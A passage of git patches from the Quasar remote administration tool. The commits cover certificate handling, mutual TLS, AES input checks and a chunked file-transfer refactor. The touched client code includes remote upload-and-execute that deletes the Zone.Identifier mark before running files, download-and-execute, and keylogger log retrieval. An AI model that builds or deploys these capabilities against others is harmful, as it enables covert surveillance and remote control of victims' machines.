((System.Drawing.Bitmap)(obj)); - } - } } } diff --git a/Quasar.Client/Properties/Resources.resx b/Quasar.Client/Properties/Resources.resx index 9d27f585f..1af7de150 100644 --- a/Quasar.Client/Properties/Resources.resx +++ b/Quasar.Client/Properties/Resources.resx @@ -117,8 +117,4 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - ..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - \ No newline at end of file From e72b8d2266ab0a3f6cad6f41273ba91781176264 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 23 Oct 2018 20:10:26 +0200 Subject: [PATCH 151/229] Add certificate path setting --- Quasar.Server/Build/ClientBuilder.cs | 2 +- Quasar.Server/Forms/FrmCertificate.cs | 6 +++--- Quasar.Server/Forms/FrmMain.cs | 5 ++--- Quasar.Server/Models/Settings.cs | 2 ++ 4 files changed, 8 insertions(+), 7 deletions(-) diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs index 4f05b1233..625443ee0 100644 --- a/Quasar.Server/Build/ClientBuilder.cs +++ b/Quasar.Server/Build/ClientBuilder.cs @@ -85,7 +85,7 @@ private void WriteSettings(AssemblyDefinition asmDef) var key = StringHelper.GetRandomString(32); var aes = new Aes256(key); - var caCertificate = new X509Certificate2(Path.Combine(Application.StartupPath, "quasar.p12"), "", X509KeyStorageFlags.Exportable); + var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); var clientCertificate = CertificateHelper.CreateCertificate("Quasar Client", caCertificate, 4096); var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! diff --git a/Quasar.Server/Forms/FrmCertificate.cs b/Quasar.Server/Forms/FrmCertificate.cs index 50bd897a9..804aaba7a 100644 --- a/Quasar.Server/Forms/FrmCertificate.cs +++ b/Quasar.Server/Forms/FrmCertificate.cs @@ -4,6 +4,7 @@ using System.IO; using System.Security.Cryptography.X509Certificates; using System.Windows.Forms; +using Quasar.Server.Models; namespace Quasar.Server.Forms { @@ -56,14 +57,13 @@ private void btnSave_Click(object sender, EventArgs e) if (!_certificate.HasPrivateKey) throw new ArgumentException(); - string path = Path.Combine(Application.StartupPath, "quasar.p12"); - File.WriteAllBytes(path, _certificate.Export(X509ContentType.Pkcs12)); + File.WriteAllBytes(Settings.CertificatePath, _certificate.Export(X509ContentType.Pkcs12)); MessageBox.Show(this, "Please backup the certificate now. Loss of the certificate results in loosing all clients!", "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information); - string argument = "/select, \"" + path + "\""; + string argument = "/select, \"" + Settings.CertificatePath + "\""; Process.Start("explorer.exe", argument); this.DialogResult = DialogResult.OK; diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs index 1274de57e..0a54e5960 100644 --- a/Quasar.Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -86,8 +86,7 @@ private void InitializeServer() #if DEBUG serverCertificate = CertificateHelper.CreateCertificateAuthority("Quasar Server CA", 2048); #else - string certificatePath = Path.Combine(Application.StartupPath, "quasar.p12"); - if (!File.Exists(certificatePath)) + if (!File.Exists(Settings.CertificatePath)) { using (var certificateSelection = new FrmCertificate()) { @@ -95,7 +94,7 @@ private void InitializeServer() { } } } - serverCertificate = new X509Certificate2(certificatePath); + serverCertificate = new X509Certificate2(Settings.CertificatePath); #endif ListenServer = new QuasarServer(serverCertificate); ListenServer.ServerState += ServerState; diff --git a/Quasar.Server/Models/Settings.cs b/Quasar.Server/Models/Settings.cs index e354f141e..b68409cc5 100644 --- a/Quasar.Server/Models/Settings.cs +++ b/Quasar.Server/Models/Settings.cs @@ -9,6 +9,8 @@ public static class Settings { private static readonly string SettingsPath = Path.Combine(Application.StartupPath, "settings.xml"); + public static readonly string CertificatePath = Path.Combine(Application.StartupPath, "quasar.p12"); + public static ushort ListenPort { get From 65ac8f7175621090988195492fc441f2e19c52a1 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 28 Oct 2018 14:00:14 +0100 Subject: [PATCH 152/229] Force client certificates --- Quasar.Server/Networking/Server.cs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/Quasar.Server/Networking/Server.cs b/Quasar.Server/Networking/Server.cs index 659afb1ac..6f4957da9 100644 --- a/Quasar.Server/Networking/Server.cs +++ b/Quasar.Server/Networking/Server.cs @@ -314,6 +314,13 @@ private void EndAuthenticateClient(IAsyncResult ar) { var con = (PendingClient) ar.AsyncState; con.Stream.EndAuthenticateAsServer(ar); + + // only allow connection which are authenticated on both sides + if (!con.Stream.IsMutuallyAuthenticated) + { + throw new AuthenticationException("Client did not provide a client certificate."); + } + Client client = new Client(_bufferPool, con.Stream, con.EndPoint); AddClient(client); OnClientState(client, true); From 89dfca761d5c2a18cc0d3236f2b125bb5e9efb4d Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 28 Oct 2018 20:07:21 +0100 Subject: [PATCH 153/229] Allow empty input in AES encryption/decryption --- Quasar.Common/Cryptography/Aes256.cs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Quasar.Common/Cryptography/Aes256.cs b/Quasar.Common/Cryptography/Aes256.cs index e9c3f8e29..26c9a91eb 100644 --- a/Quasar.Common/Cryptography/Aes256.cs +++ b/Quasar.Common/Cryptography/Aes256.cs @@ -46,8 +46,8 @@ public string Encrypt(string input) */ public byte[] Encrypt(byte[] input) { - if (input == null || input.Length == 0) - throw new ArgumentException($"{nameof(input)} can not be null or empty."); + if (input == null) + throw new ArgumentNullException($"{nameof(input)} can not be null."); using (var ms = new MemoryStream()) { @@ -87,8 +87,8 @@ public string Decrypt(string input) public byte[] Decrypt(byte[] input) { - if (input == null || input.Length == 0) - throw new ArgumentException($"{nameof(input)} can not be null or empty."); + if (input == null) + throw new ArgumentNullException($"{nameof(input)} can not be null."); using (var ms = new MemoryStream(input)) { From 197e3a9256c1e200da91275b7ec49d69544987d4 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 29 Oct 2018 20:31:17 +0100 Subject: [PATCH 154/229] Refactor file transfers --- Quasar.Client/Commands/CommandHandler.cs | 6 +- Quasar.Client/Commands/ConnectionHandler.cs | 16 +- Quasar.Client/Commands/FileHandler.cs | 98 +++---- Quasar.Client/Commands/MiscHandler.cs | 16 +- Quasar.Client/Commands/SurveillanceHandler.cs | 2 +- Quasar.Client/Networking/Client.cs | 1 + Quasar.Client/Networking/PacketHandler.cs | 13 +- .../ReverseProxy/ReverseProxyClient.cs | 4 +- .../ReverseProxyCommandHandler.cs | 1 + Quasar.Common/IO/FileSplit.cs | 234 +++++++-------- Quasar.Common/IO/FileSplitLegacy.cs | 167 +++++++++++ .../Messages/DoDownloadFileResponse.cs | 26 -- Quasar.Common/Messages/DoUploadFile.cs | 23 -- ...oadFileCancel.cs => FileTransferCancel.cs} | 5 +- Quasar.Common/Messages/FileTransferChunk.cs | 21 ++ ...DownloadFile.cs => FileTransferRequest.cs} | 6 +- .../{ => ReverseProxy}/ReverseProxyConnect.cs | 2 +- .../ReverseProxyConnectResponse.cs | 2 +- .../{ => ReverseProxy}/ReverseProxyData.cs | 2 +- .../ReverseProxyDisconnect.cs | 2 +- Quasar.Common/Models/FileChunk.cs | 14 + Quasar.Common/Quasar.Common.csproj | 17 +- Quasar.Server/Forms/FrmFileManager.cs | 2 - Quasar.Server/Forms/FrmMain.cs | 4 +- Quasar.Server/Messages/FileManagerHandler.cs | 266 +++++++++++------- Quasar.Server/Messages/KeyloggerHandler.cs | 2 +- Quasar.Server/Messages/ReverseProxyHandler.cs | 5 +- Quasar.Server/Models/FileTransfer.cs | 4 +- .../ReverseProxy/ReverseProxyClient.cs | 6 +- 29 files changed, 568 insertions(+), 399 deletions(-) create mode 100644 Quasar.Common/IO/FileSplitLegacy.cs delete mode 100644 Quasar.Common/Messages/DoDownloadFileResponse.cs delete mode 100644 Quasar.Common/Messages/DoUploadFile.cs rename Quasar.Common/Messages/{DoDownloadFileCancel.cs => FileTransferCancel.cs} (56%) create mode 100644 Quasar.Common/Messages/FileTransferChunk.cs rename Quasar.Common/Messages/{DoDownloadFile.cs => FileTransferRequest.cs} (82%) rename Quasar.Common/Messages/{ => ReverseProxy}/ReverseProxyConnect.cs (87%) rename Quasar.Common/Messages/{ => ReverseProxy}/ReverseProxyConnectResponse.cs (91%) rename Quasar.Common/Messages/{ => ReverseProxy}/ReverseProxyData.cs (83%) rename Quasar.Common/Messages/{ => ReverseProxy}/ReverseProxyDisconnect.cs (79%) create mode 100644 Quasar.Common/Models/FileChunk.cs diff --git a/Quasar.Client/Commands/CommandHandler.cs b/Quasar.Client/Commands/CommandHandler.cs index 2418d44ef..0e1f8d7d7 100644 --- a/Quasar.Client/Commands/CommandHandler.cs +++ b/Quasar.Client/Commands/CommandHandler.cs @@ -10,8 +10,8 @@ public static partial class CommandHandler { public static UnsafeStreamCodec StreamCodec; private static Shell _shell; - private static Dictionary _renamedFiles = new Dictionary(); - private static Dictionary _canceledDownloads = new Dictionary(); - private static readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads + private static readonly Dictionary RenamedFiles = new Dictionary(); + private static readonly Dictionary CanceledFileTransfers = new Dictionary(); + private static readonly Semaphore LimitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads } } \ No newline at end of file diff --git a/Quasar.Client/Commands/ConnectionHandler.cs b/Quasar.Client/Commands/ConnectionHandler.cs index 83b5de5c3..8619c3586 100644 --- a/Quasar.Client/Commands/ConnectionHandler.cs +++ b/Quasar.Client/Commands/ConnectionHandler.cs @@ -17,33 +17,33 @@ public static void HandleDoClientUpdate(DoClientUpdate command, Networking.Clien // i dont like this updating... if anyone has a better idea feel free to edit it if (string.IsNullOrEmpty(command.DownloadUrl)) { - if (!_renamedFiles.ContainsKey(command.Id)) - _renamedFiles.Add(command.Id, FileHelper.GetTempFilePath(".exe")); + if (!RenamedFiles.ContainsKey(command.Id)) + RenamedFiles.Add(command.Id, FileHelper.GetTempFilePath(".exe")); - string filePath = _renamedFiles[command.Id]; + string filePath = RenamedFiles[command.Id]; try { if (command.CurrentBlock == 0 && !FileHelper.HasExecutableIdentifier(command.Block)) throw new Exception("No executable file"); - FileSplit destFile = new FileSplit(filePath); + var destFile = new FileSplitLegacy(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) throw new Exception(destFile.LastError); if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished { - if (_renamedFiles.ContainsKey(command.Id)) - _renamedFiles.Remove(command.Id); + if (RenamedFiles.ContainsKey(command.Id)) + RenamedFiles.Remove(command.Id); client.Send(new SetStatus {Message = "Updating..."}); ClientUpdater.Update(client, filePath); } } catch (Exception ex) { - if (_renamedFiles.ContainsKey(command.Id)) - _renamedFiles.Remove(command.Id); + if (RenamedFiles.ContainsKey(command.Id)) + RenamedFiles.Remove(command.Id); NativeMethods.DeleteFile(filePath); client.Send(new SetStatus {Message = $"Update failed: {ex.Message}"}); } diff --git a/Quasar.Client/Commands/FileHandler.cs b/Quasar.Client/Commands/FileHandler.cs index 2092030dc..6be85333b 100644 --- a/Quasar.Client/Commands/FileHandler.cs +++ b/Quasar.Client/Commands/FileHandler.cs @@ -91,79 +91,81 @@ public static void HandleGetDirectory(GetDirectory command, Networking.Client cl } } - public static void HandleDoDownloadFile(DoDownloadFile command, Networking.Client client) + public static void HandleDoDownloadFile(FileTransferRequest command, Networking.Client client) { new Thread(() => { - _limitThreads.WaitOne(); + LimitThreads.WaitOne(); try { - FileSplit srcFile = new FileSplit(command.RemotePath); - if (srcFile.MaxBlocks < 0) - throw new Exception(srcFile.LastError); - - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) + using (var srcFile = new FileSplit(command.RemotePath, FileAccess.Read)) { - if (!client.Connected || _canceledDownloads.ContainsKey(command.Id)) - break; - - byte[] block; - - if (!srcFile.ReadBlock(currentBlock, out block)) - throw new Exception(srcFile.LastError); - - - client.SendBlocking(new DoDownloadFileResponse + foreach (var chunk in srcFile) { - Id = command.Id, - Filename = Path.GetFileName(command.RemotePath), - Block = block, - MaxBlocks = srcFile.MaxBlocks, - CurrentBlock = currentBlock, - CustomMessage = srcFile.LastError - }); + if (!client.Connected || CanceledFileTransfers.ContainsKey(command.Id)) + break; + + // blocking sending might not be required, needs further testing + client.SendBlocking(new FileTransferChunk + { + Id = command.Id, + FilePath = command.RemotePath, + FileSize = srcFile.FileSize, + Chunk = chunk + }); + } } } - catch (Exception ex) + catch (Exception) { - client.SendBlocking(new DoDownloadFileResponse + CanceledFileTransfers.Add(command.Id, "error"); + client.Send(new FileTransferCancel { Id = command.Id, - Filename = Path.GetFileName(command.RemotePath), - Block = new byte[0], - MaxBlocks = -1, - CurrentBlock = -1, - CustomMessage = ex.Message + Reason = "Error reading file" }); } - _limitThreads.Release(); + LimitThreads.Release(); }).Start(); } - public static void HandleDoDownloadFileCancel(DoDownloadFileCancel command, Networking.Client client) + public static void HandleDoDownloadFileCancel(FileTransferCancel command, Networking.Client client) { - if (!_canceledDownloads.ContainsKey(command.Id)) + if (!CanceledFileTransfers.ContainsKey(command.Id)) { - _canceledDownloads.Add(command.Id, "canceled"); - client.SendBlocking(new DoDownloadFileResponse + CanceledFileTransfers.Add(command.Id, "canceled"); + client.Send(new FileTransferCancel { Id = command.Id, - Filename = "canceled", - Block = new byte[0], - MaxBlocks = -1, - CurrentBlock = -1, - CustomMessage = "Canceled" + Reason = "Canceled" }); } } - public static void HandleDoUploadFile(DoUploadFile command, Networking.Client client) + public static void HandleDoUploadFile(FileTransferChunk command, Networking.Client client) { - if (command.CurrentBlock == 0 && System.IO.File.Exists(command.RemotePath)) - NativeMethods.DeleteFile(command.RemotePath); // delete existing file + try + { + if (CanceledFileTransfers.ContainsKey(command.Id)) + return; + + if (command.Chunk.Offset == 0 && File.Exists(command.FilePath)) + NativeMethods.DeleteFile(command.FilePath); // delete existing file - FileSplit destFile = new FileSplit(command.RemotePath); - destFile.AppendBlock(command.Block, command.CurrentBlock); + using (var destFile = new FileSplit(command.FilePath, FileAccess.Write)) + { + destFile.WriteChunk(command.Chunk); + } + } + catch (Exception) + { + CanceledFileTransfers.Add(command.Id, "error"); + client.Send(new FileTransferCancel + { + Id = command.Id, + Reason = "Error writing file" + }); + } } public static void HandleDoPathDelete(DoPathDelete command, Networking.Client client) @@ -190,7 +192,7 @@ public static void HandleDoPathDelete(DoPathDelete command, Networking.Client cl }); break; case FileType.File: - System.IO.File.Delete(command.Path); + File.Delete(command.Path); client.Send(new SetStatusFileManager { Message = "Deleted file", @@ -252,7 +254,7 @@ public static void HandleDoPathRename(DoPathRename command, Networking.Client cl }); break; case FileType.File: - System.IO.File.Move(command.Path, command.NewPath); + File.Move(command.Path, command.NewPath); client.Send(new SetStatusFileManager { Message = "Renamed file", diff --git a/Quasar.Client/Commands/MiscHandler.cs b/Quasar.Client/Commands/MiscHandler.cs index c862adecd..07d0f7ee3 100644 --- a/Quasar.Client/Commands/MiscHandler.cs +++ b/Quasar.Client/Commands/MiscHandler.cs @@ -70,25 +70,25 @@ public static void HandleDoDownloadAndExecute(DoDownloadAndExecute command, public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Networking.Client client) { - if (!_renamedFiles.ContainsKey(command.Id)) - _renamedFiles.Add(command.Id, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName))); + if (!RenamedFiles.ContainsKey(command.Id)) + RenamedFiles.Add(command.Id, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName))); - string filePath = _renamedFiles[command.Id]; + string filePath = RenamedFiles[command.Id]; try { if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.HasExecutableIdentifier(command.Block)) throw new Exception("No executable file"); - FileSplit destFile = new FileSplit(filePath); + var destFile = new FileSplitLegacy(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) throw new Exception(destFile.LastError); if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute { - if (_renamedFiles.ContainsKey(command.Id)) - _renamedFiles.Remove(command.Id); + if (RenamedFiles.ContainsKey(command.Id)) + RenamedFiles.Remove(command.Id); FileHelper.DeleteZoneIdentifier(filePath); @@ -107,8 +107,8 @@ public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Networki } catch (Exception ex) { - if (_renamedFiles.ContainsKey(command.Id)) - _renamedFiles.Remove(command.Id); + if (RenamedFiles.ContainsKey(command.Id)) + RenamedFiles.Remove(command.Id); NativeMethods.DeleteFile(filePath); client.Send(new SetStatus {Message = $"Execution failed: {ex.Message}"}); diff --git a/Quasar.Client/Commands/SurveillanceHandler.cs b/Quasar.Client/Commands/SurveillanceHandler.cs index bec6ef56d..63310fc4c 100644 --- a/Quasar.Client/Commands/SurveillanceHandler.cs +++ b/Quasar.Client/Commands/SurveillanceHandler.cs @@ -218,7 +218,7 @@ public static void HandleGetKeyloggerLogs(GetKeyloggerLogs command, Networking.C foreach (FileInfo file in iFiles) { - FileSplit srcFile = new FileSplit(file.FullName); + var srcFile = new FileSplitLegacy(file.FullName); if (srcFile.MaxBlocks < 0) { diff --git a/Quasar.Client/Networking/Client.cs b/Quasar.Client/Networking/Client.cs index 043ee974a..e3b40efa5 100644 --- a/Quasar.Client/Networking/Client.cs +++ b/Quasar.Client/Networking/Client.cs @@ -3,6 +3,7 @@ using Quasar.Common.Extensions; using Quasar.Common.IO.Compression; using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; using Quasar.Common.Networking; using System; using System.Collections.Generic; diff --git a/Quasar.Client/Networking/PacketHandler.cs b/Quasar.Client/Networking/PacketHandler.cs index fbd761239..197c8cfbd 100644 --- a/Quasar.Client/Networking/PacketHandler.cs +++ b/Quasar.Client/Networking/PacketHandler.cs @@ -1,6 +1,7 @@ using Quasar.Client.Commands; using Quasar.Client.ReverseProxy; using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; namespace Quasar.Client.Networking { @@ -59,13 +60,13 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleGetDirectory((GetDirectory)packet, client); } - else if (type == typeof(DoDownloadFile)) + else if (type == typeof(FileTransferRequest)) { - CommandHandler.HandleDoDownloadFile((DoDownloadFile)packet, client); + CommandHandler.HandleDoDownloadFile((FileTransferRequest)packet, client); } - else if (type == typeof(DoUploadFile)) + else if (type == typeof(FileTransferChunk)) { - CommandHandler.HandleDoUploadFile((DoUploadFile)packet, client); + CommandHandler.HandleDoUploadFile((FileTransferChunk)packet, client); } else if (type == typeof(DoMouseEvent)) { @@ -123,9 +124,9 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleDoStartupItemRemove((DoStartupItemRemove)packet, client); } - else if (type == typeof(DoDownloadFileCancel)) + else if (type == typeof(FileTransferCancel)) { - CommandHandler.HandleDoDownloadFileCancel((DoDownloadFileCancel)packet, + CommandHandler.HandleDoDownloadFileCancel((FileTransferCancel)packet, client); } else if (type == typeof(DoLoadRegistryKey)) diff --git a/Quasar.Client/ReverseProxy/ReverseProxyClient.cs b/Quasar.Client/ReverseProxy/ReverseProxyClient.cs index 265298503..d5762689a 100644 --- a/Quasar.Client/ReverseProxy/ReverseProxyClient.cs +++ b/Quasar.Client/ReverseProxy/ReverseProxyClient.cs @@ -1,7 +1,7 @@ -using System; +using Quasar.Common.Messages.ReverseProxy; +using System; using System.Net; using System.Net.Sockets; -using Quasar.Common.Messages; namespace Quasar.Client.ReverseProxy { diff --git a/Quasar.Client/ReverseProxy/ReverseProxyCommandHandler.cs b/Quasar.Client/ReverseProxy/ReverseProxyCommandHandler.cs index f2c929b08..6fa046e60 100644 --- a/Quasar.Client/ReverseProxy/ReverseProxyCommandHandler.cs +++ b/Quasar.Client/ReverseProxy/ReverseProxyCommandHandler.cs @@ -1,4 +1,5 @@ using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; namespace Quasar.Client.ReverseProxy { diff --git a/Quasar.Common/IO/FileSplit.cs b/Quasar.Common/IO/FileSplit.cs index 902c5051c..c06ef5256 100644 --- a/Quasar.Common/IO/FileSplit.cs +++ b/Quasar.Common/IO/FileSplit.cs @@ -1,168 +1,124 @@ -using System; +using Quasar.Common.Models; +using System; +using System.Collections; +using System.Collections.Generic; using System.IO; namespace Quasar.Common.IO { - // TODO: Refactor in yield Block.Next() ... - public class FileSplit + public class FileSplit : IEnumerable, IDisposable { - private int _maxBlocks; - private readonly object _fileStreamLock = new object(); - private const int MAX_BLOCK_SIZE = 65535; - public string Path { get; } - public string LastError { get; private set; } - - public int MaxBlocks + /// + /// The maximum size per file chunk. + /// + public readonly int MaxChunkSize = 65535; + + /// + /// The file path of the opened file. + /// + public string FilePath => _fileStream.Name; + + /// + /// The file size of the opened file. + /// + public long FileSize => _fileStream.Length; + + /// + /// The file stream of the opened file. + /// + private readonly FileStream _fileStream; + + /// + /// Initializes a new instance of the class using the given file path and access mode. + /// + /// The path to the file to open. + /// The file access mode for opening the file. Allowed are and . + public FileSplit(string filePath, FileAccess fileAccess) { - get + switch (fileAccess) { - if (this._maxBlocks > 0 || this._maxBlocks == -1) - return this._maxBlocks; - try - { - FileInfo fInfo = new FileInfo(this.Path); - - if (!fInfo.Exists) - throw new FileNotFoundException(); - - this._maxBlocks = (int)Math.Ceiling(fInfo.Length / (double)MAX_BLOCK_SIZE); - } - catch (UnauthorizedAccessException) - { - this._maxBlocks = -1; - this.LastError = "Access denied"; - } - catch (IOException ex) - { - this._maxBlocks = -1; - - if (ex is FileNotFoundException) - this.LastError = "File not found"; - if (ex is PathTooLongException) - this.LastError = "Path is too long"; - } - - return this._maxBlocks; + case FileAccess.Read: + _fileStream = File.OpenRead(filePath); + break; + case FileAccess.Write: + _fileStream = File.OpenWrite(filePath); + break; + default: + throw new ArgumentException($"{nameof(fileAccess)} must be either Read or Write."); } } - public FileSplit(string path) + /// + /// Writes a chunk to the file. In other words. + /// + /// + public void WriteChunk(FileChunk chunk) { - this.Path = path; + _fileStream.Seek(chunk.Offset, SeekOrigin.Begin); + _fileStream.Write(chunk.Data, 0, chunk.Data.Length); } - private int GetSize(long length) + /// + /// Reads a chunk of the file. + /// + /// Offset of the file, must be a multiple of for proper reconstruction. + /// The read file chunk at the given offset. + /// + /// The returned file chunk can be smaller than iff the + /// remaining file size from the offset is smaller than , + /// then the remaining file size is used. + /// + public FileChunk ReadChunk(long offset) { - return (length < MAX_BLOCK_SIZE) ? (int) length : MAX_BLOCK_SIZE; - } + _fileStream.Seek(offset, SeekOrigin.Begin); - public bool ReadBlock(int blockNumber, out byte[] readBytes) - { - try - { - if (blockNumber > this.MaxBlocks) - throw new ArgumentOutOfRangeException(); + long chunkSize = _fileStream.Length - _fileStream.Position < MaxChunkSize + ? _fileStream.Length - _fileStream.Position + : MaxChunkSize; - lock (_fileStreamLock) - { - using (FileStream fStream = File.OpenRead(this.Path)) - { - if (blockNumber == 0) - { - fStream.Seek(0, SeekOrigin.Begin); - var length = fStream.Length - fStream.Position; - if (length < 0) - throw new IOException("negative length"); - readBytes = new byte[this.GetSize(length)]; - fStream.Read(readBytes, 0, readBytes.Length); - } - else - { - fStream.Seek(blockNumber*MAX_BLOCK_SIZE, SeekOrigin.Begin); - var length = fStream.Length - fStream.Position; - if (length < 0) - throw new IOException("negative length"); - readBytes = new byte[this.GetSize(length)]; - fStream.Read(readBytes, 0, readBytes.Length); - } - } - } + var chunkData = new byte[chunkSize]; + _fileStream.Read(chunkData, 0, chunkData.Length); - return true; - } - catch (ArgumentOutOfRangeException) - { - readBytes = new byte[0]; - this.LastError = "BlockNumber bigger than MaxBlocks"; - } - catch (UnauthorizedAccessException) + return new FileChunk { - readBytes = new byte[0]; - this.LastError = "Access denied"; - } - catch (IOException ex) - { - readBytes = new byte[0]; - - if (ex is FileNotFoundException) - this.LastError = "File not found"; - else if (ex is DirectoryNotFoundException) - this.LastError = "Directory not found"; - else if (ex is PathTooLongException) - this.LastError = "Path is too long"; - else - this.LastError = "Unable to read from File Stream"; - } - - return false; + Data = chunkData, + Offset = _fileStream.Position - chunkData.Length + }; } - public bool AppendBlock(byte[] block, int blockNumber) + /// + /// Returns an enumerator that iterates through the file chunks. + /// + /// An object that can be used to iterate through the file chunks. + public IEnumerator GetEnumerator() { - try + for (int currentChunk = 0; currentChunk <= _fileStream.Length / MaxChunkSize; currentChunk++) { - if (!File.Exists(this.Path) && blockNumber > 0) - throw new FileNotFoundException(); // previous file got deleted somehow, error - - lock (_fileStreamLock) - { - if (blockNumber == 0) - { - using (FileStream fStream = File.Open(this.Path, FileMode.Create, FileAccess.Write)) - { - fStream.Seek(0, SeekOrigin.Begin); - fStream.Write(block, 0, block.Length); - } - - return true; - } + yield return ReadChunk(currentChunk * MaxChunkSize); + } + } - using (FileStream fStream = File.Open(this.Path, FileMode.Append, FileAccess.Write)) - { - fStream.Seek(blockNumber*MAX_BLOCK_SIZE, SeekOrigin.Begin); - fStream.Write(block, 0, block.Length); - } - } + /// + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } - return true; - } - catch (UnauthorizedAccessException) - { - this.LastError = "Access denied"; - } - catch (IOException ex) + protected virtual void Dispose(bool disposing) + { + if (disposing) { - if (ex is FileNotFoundException) - this.LastError = "File not found"; - else if (ex is DirectoryNotFoundException) - this.LastError = "Directory not found"; - else if (ex is PathTooLongException) - this.LastError = "Path is too long"; - else - this.LastError = "Unable to write to File Stream"; + _fileStream.Dispose(); } + } - return false; + /// + /// Disposes all managed and unmanaged resources associated with this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); } } -} \ No newline at end of file +} diff --git a/Quasar.Common/IO/FileSplitLegacy.cs b/Quasar.Common/IO/FileSplitLegacy.cs new file mode 100644 index 000000000..038aa1ac4 --- /dev/null +++ b/Quasar.Common/IO/FileSplitLegacy.cs @@ -0,0 +1,167 @@ +using System; +using System.IO; + +namespace Quasar.Common.IO +{ + public class FileSplitLegacy + { + private int _maxBlocks; + private readonly object _fileStreamLock = new object(); + private const int MAX_BLOCK_SIZE = 65535; + public string Path { get; } + public string LastError { get; private set; } + + public int MaxBlocks + { + get + { + if (this._maxBlocks > 0 || this._maxBlocks == -1) + return this._maxBlocks; + try + { + FileInfo fInfo = new FileInfo(this.Path); + + if (!fInfo.Exists) + throw new FileNotFoundException(); + + this._maxBlocks = (int)Math.Ceiling(fInfo.Length / (double)MAX_BLOCK_SIZE); + } + catch (UnauthorizedAccessException) + { + this._maxBlocks = -1; + this.LastError = "Access denied"; + } + catch (IOException ex) + { + this._maxBlocks = -1; + + if (ex is FileNotFoundException) + this.LastError = "File not found"; + if (ex is PathTooLongException) + this.LastError = "Path is too long"; + } + + return this._maxBlocks; + } + } + + public FileSplitLegacy(string path) + { + this.Path = path; + } + + private int GetSize(long length) + { + return (length < MAX_BLOCK_SIZE) ? (int)length : MAX_BLOCK_SIZE; + } + + public bool ReadBlock(int blockNumber, out byte[] readBytes) + { + try + { + if (blockNumber > this.MaxBlocks) + throw new ArgumentOutOfRangeException(); + + lock (_fileStreamLock) + { + using (FileStream fStream = File.OpenRead(this.Path)) + { + if (blockNumber == 0) + { + fStream.Seek(0, SeekOrigin.Begin); + var length = fStream.Length - fStream.Position; + if (length < 0) + throw new IOException("negative length"); + readBytes = new byte[this.GetSize(length)]; + fStream.Read(readBytes, 0, readBytes.Length); + } + else + { + fStream.Seek(blockNumber * MAX_BLOCK_SIZE, SeekOrigin.Begin); + var length = fStream.Length - fStream.Position; + if (length < 0) + throw new IOException("negative length"); + readBytes = new byte[this.GetSize(length)]; + fStream.Read(readBytes, 0, readBytes.Length); + } + } + } + + return true; + } + catch (ArgumentOutOfRangeException) + { + readBytes = new byte[0]; + this.LastError = "BlockNumber bigger than MaxBlocks"; + } + catch (UnauthorizedAccessException) + { + readBytes = new byte[0]; + this.LastError = "Access denied"; + } + catch (IOException ex) + { + readBytes = new byte[0]; + + if (ex is FileNotFoundException) + this.LastError = "File not found"; + else if (ex is DirectoryNotFoundException) + this.LastError = "Directory not found"; + else if (ex is PathTooLongException) + this.LastError = "Path is too long"; + else + this.LastError = "Unable to read from File Stream"; + } + + return false; + } + + public bool AppendBlock(byte[] block, int blockNumber) + { + try + { + if (!File.Exists(this.Path) && blockNumber > 0) + throw new FileNotFoundException(); // previous file got deleted somehow, error + + lock (_fileStreamLock) + { + if (blockNumber == 0) + { + using (FileStream fStream = File.Open(this.Path, FileMode.Create, FileAccess.Write)) + { + fStream.Seek(0, SeekOrigin.Begin); + fStream.Write(block, 0, block.Length); + } + + return true; + } + + using (FileStream fStream = File.Open(this.Path, FileMode.Append, FileAccess.Write)) + { + fStream.Seek(blockNumber * MAX_BLOCK_SIZE, SeekOrigin.Begin); + fStream.Write(block, 0, block.Length); + } + } + + return true; + } + catch (UnauthorizedAccessException) + { + this.LastError = "Access denied"; + } + catch (IOException ex) + { + if (ex is FileNotFoundException) + this.LastError = "File not found"; + else if (ex is DirectoryNotFoundException) + this.LastError = "Directory not found"; + else if (ex is PathTooLongException) + this.LastError = "Path is too long"; + else + this.LastError = "Unable to write to File Stream"; + } + + return false; + } + } +} diff --git a/Quasar.Common/Messages/DoDownloadFileResponse.cs b/Quasar.Common/Messages/DoDownloadFileResponse.cs deleted file mode 100644 index df637db43..000000000 --- a/Quasar.Common/Messages/DoDownloadFileResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using ProtoBuf; - -namespace Quasar.Common.Messages -{ - 